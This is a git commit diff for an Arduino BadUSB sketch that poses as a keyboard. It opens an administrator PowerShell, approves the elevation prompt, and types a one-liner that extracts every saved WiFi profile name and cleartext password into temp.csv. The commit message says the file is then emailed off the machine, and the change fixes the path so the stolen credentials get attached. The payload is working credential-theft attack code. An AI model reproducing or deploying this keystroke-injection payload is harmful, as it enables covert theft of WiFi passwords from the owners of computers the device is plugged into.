Update WiFi_Profile_Mailer_New.ino
The current code causes a Powershell error that causes 'temp.csv' to never get attached to the email. This is because the first PS line saves temp.csv to the user's home directory, whereas the second PS line tries to attach temp.csv from the system32 folder. I changed the first line to instead save it to system32, which is the default path for an admin Powershell session.
This commit is contained in:
parent
aa45323b35
commit
2bcfd8a68b
|
@ -19,7 +19,7 @@ void loop() {
|
|||
DigiKeyboard.delay(1000);
|
||||
DigiKeyboard.sendKeyStroke(KEY_Y, MOD_ALT_LEFT);
|
||||
DigiKeyboard.delay(500);
|
||||
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path $env:userprofile\\temp.csv;exit"));
|
||||
DigiKeyboard.print(F("(netsh wlan show profiles) | Select-String '\\:(.+)$' | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\\W+\\:(.+)$' | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv -Path temp.csv;exit"));
|
||||
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||
DigiKeyboard.delay(3000);
|
||||
DigiKeyboard.sendKeyStroke(KEY_X, MOD_GUI_LEFT);
|
||||
|
|
Loading…
Reference in New Issue